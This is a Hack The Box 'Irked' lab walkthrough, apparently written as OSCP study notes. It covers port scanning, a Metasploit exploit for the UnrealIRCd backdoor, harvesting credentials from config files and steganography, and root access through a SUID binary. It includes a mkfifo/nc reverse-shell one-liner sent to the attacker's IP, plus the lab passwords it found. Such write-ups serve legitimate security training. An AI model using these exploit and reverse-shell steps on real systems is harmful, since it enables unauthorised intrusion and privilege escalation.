> For the complete documentation index, see [llms.txt](https://oscp-notes-2025.gitbook.io/oscp-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp-notes-2025.gitbook.io/oscp-writeups/irked-htb.md). # Irked - HTB 15.08.2025 ## Network Enumeration ``` $ nmap -Pn -n -T5 -p- $ip Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 08:13 CEST Warning: 10.129.84.75 giving up on port because retransmission cap hit (2). Nmap scan report for 10.129.84.75 Host is up (0.037s latency). Not shown: 63813 closed tcp ports (reset), 1716 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 111/tcp open rpcbind 6697/tcp open ircs-u 8067/tcp open infi-async 58257/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 20.54 seconds ┌──(kali㉿kali)-[~/HTB/Irked] └─$ nmap -Pn -n -sV -sC -p22,80,111,6697,8067,58257 $ip Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 08:14 CEST Nmap scan report for 10.129.84.75 Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) | ssh-hostkey: | 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) | 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) | 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) |_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Site doesn't have a title (text/html). 111/tcp open rpcbind 2-4 (RPC #100000) |_rpcinfo: ERROR: Script execution failed (use -d to debug) 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd 58257/tcp open status 1 (RPC #100024) Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Ok, I see standard machine with 22 and some web, but additionally some IRC, as name of machine suggest, working.
Website confirm that IRC is on ther serverkali The banner grabbing on port 6697 and 8067 ``` └─$ nc -nv 10.129.84.75 6697 (UNKNOWN) [10.129.84.75] 6697 (ircs-u) open ERROR :Closing Link: [10.10.14.144] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information. ┌──(kali㉿kali)-[~/HTB/Irked] └─$ nc -nv 10.129.84.75 8067 (UNKNOWN) [10.129.84.75] 8067 (?) open ERROR :Closing Link: [10.10.14.144] (Throttled: Reconnecting too fast) -Email djmardov@irked.htb for more information. ``` ``` djmardov@irked.htb was found ``` I'm adding djmardov to my users.txt file ``` ─$ searchsploit UnrealIRCd ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | linux/remote/16922.rb UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | windows/dos/18011.txt UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | linux/remote/13853.pl ``` for version 3.2.8.1 of this I tried to connect to this IRC ports but I got erro error: ``` ┌──(kali㉿kali)-[~/HTB/Irked] └─$ telnet 10.129.84.75 8067 Trying 10.129.84.75... Connected to 10.129.84.75. Escape character is '^]'. :irked.htb NOTICE AUTH :*** Looking up your hostname... :irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ERROR :Closing Link: [10.10.14.144] (Ping timeout) Connection closed by foreign host. ┌──(kali㉿kali)-[~/HTB/Irked] └─$ telnet 10.129.84.75 6697 Trying 10.129.84.75... Connected to 10.129.84.75. Escape character is '^]'. :irked.htb NOTICE AUTH :*** Looking up your hostname... :irked.htb NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ERROR :Closing Link: [10.10.14.144] (Ping timeout) Connection closed by foreign host. ``` ## IRC Backdoor I didn't find information which version is installed but i tried randomly the metasploit /unix/irc/unreal\_ircd\_3281\_backdoor And I got shell ad ircd ``` msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Started reverse TCP double handler on 10.10.14.144:4444 [*] 10.129.84.75:6697 - Connected to 10.129.84.75:6697... :irked.htb NOTICE AUTH :*** Looking up your hostname... [*] 10.129.84.75:6697 - Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo E1mI9tQpUncwDRAn; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket A [*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n" [*] Matching... [*] B is input... [*] Command shell session 1 opened (10.10.14.144:4444 -> 10.129.84.75:40505) at 2025-08-15 20:34:51 +0200 Shell Banner: E1mI9tQpUncwDRAn ----- id uid=1001(ircd) gid=1001(ircd) groups=1001(ircd) ``` ## Low Priv Enumeration ``` ls /home djmardov ircd pwd /home/ircd/Unreal3.2 grep -r "djmardov" unrealircd.conf: kline-address "djmardov@irked.htb"; ``` I grep password inside unrealircd.conf ``` unrealircd.conf: * control and/or set a password. unrealircd.conf: * password "(password)"; (optional) unrealircd.conf: hostname *@*.passworded.ugly.people; unrealircd.conf: password "f00Ness"; unrealircd.conf: password "f00"; unrealircd.conf: * password-connect "(pass to send)"; unrealircd.conf: * password-receive "(pass we should receive)"; unrealircd.conf: password-connect "LiNk"; unrealircd.conf: password-receive "LiNk"; unrealircd.conf: * This defines the passwords for /die and /restart. unrealircd.conf: * restart "(password for restarting)"; unrealircd.conf: * die "(password for die)"; unrealircd.conf: * password (password); unrealircd.conf: * then to use this vhost, do /vhost (login) (password) in IRC unrealircd.conf: password moocowsrulemyworld; ``` Unfortunately those password didn't work with ssh for djmardov ``` $ nxc ssh 10.129.84.75 -u users.txt -p pass.txt SSH 10.129.84.75 22 10.129.84.75 [*] SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 SSH 10.129.84.75 22 10.129.84.75 [-] djmardov:f00Ness SSH 10.129.84.75 22 10.129.84.75 [-] djmardov:f00 SSH 10.129.84.75 22 10.129.84.75 [-] djmardov:moocowsrulemyworld ``` I started to check maybe I can access djmardov ssh keys or user.txt I run find with cat for all files ``` ircd@irked:/home/djmardov$ find . -type f -exec cat {} \; 2>/dev/null find . -type f -exec cat {} \; 2>/dev/null . . . . Super elite steg backup pw UPupDOWNdownLRlrBAbaSSss # ~/.bash_logout: executed by bash(1) when login shell exits. # when leaving the console clear the screen to increase privacy if [ "$SHLVL" = 1 ]; then [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q fi # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything case $- in ``` This still not password for ssh, I need to file backup file This suggest some backup file, I ran linpeas script to maybe find intresting files ``` // Some code ══╣ Possible private SSH keys were found! /etc/ImageMagick-6/mime.xml ``` Nothing intresting was in linpeas I checked /var/backups but i don't have aaccess to those files Then i checked for \*steg\* files but this was the case I searched for steg on hacktricks and found that steg mean steganography, the steghide tools allow to show hidden files and extract it ### Steg file ``` $ steghide info irked.jpg "irked.jpg": format: jpeg capacity: 1.5 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase! $ steghide extract -sf irked.jpg --passphrase UPupDOWNdownLRlrBAbaSSss wrote extracted data to "pass.txt". ┌──(kali㉿kali)-[~/HTB/Irked] └─$ cat pass.txt Kab6h+m+bbp2J:HG ``` ## PrivEsc I started with running linpeas ``` ══╣ Active Ports (netstat) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - Pkexec binary has SUID bit set! -rwsr-xr-x 1 root root 18072 Sep 8 2016 /usr/bin/pkexec pkexec version 0.105 SUID Files -rwsr-xr-x 1 root root 7.2K May 16 2018 /usr/bin/viewuser (Unknown SUID binary!) -rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) SGID -rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614) ``` I check this viewuser script ``` djmardov@irked:/usr/bin$ ./viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2025-08-15 02:12 (:0) djmardov pts/2 2025-08-15 17:15 (10.10.14.144) sh: 1: /tmp/listusers: not found ``` I tried to add user to the /tmp/listusers ``` djmardov@irked:/usr/bin$ ./viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2025-08-15 02:12 (:0) djmardov pts/2 2025-08-15 17:15 (10.10.14.144) /tmp/listusers: 1: /tmp/listusers: djmardov: not found /tmp/listusers: 2: /tmp/listusers: root: not found ``` It seems it tried to run a code, so I just put some reverse shell ``` djmardov@irked:/usr/bin$ cat > /tmp/listusers rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.144 1337 >/tmp/f djmardov@irked:/usr/bin$ djmardov@irked:/usr/bin$ ./viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2025-08-15 02:12 (:0) djmardov pts/2 2025-08-15 17:15 (10.10.14.144) rm: cannot remove ‘/tmp/f’: No such file or directory ```
When I add other command all of them are just run by script ``` djmardov@irked:/usr/bin$ cat > /tmp/listusers whoami id pwd cat /root/root.txt djmardov@irked:/usr/bin$ djmardov@irked:/usr/bin$ ./viewuser This application is being devleoped to set and test user permissions It is still being actively developed (unknown) :0 2025-08-15 02:12 (:0) djmardov pts/2 2025-08-15 17:15 (10.10.14.144) root uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner),117(bluetooth) /usr/bin dc60156ac91880923cc52ddf4c0777b1 ```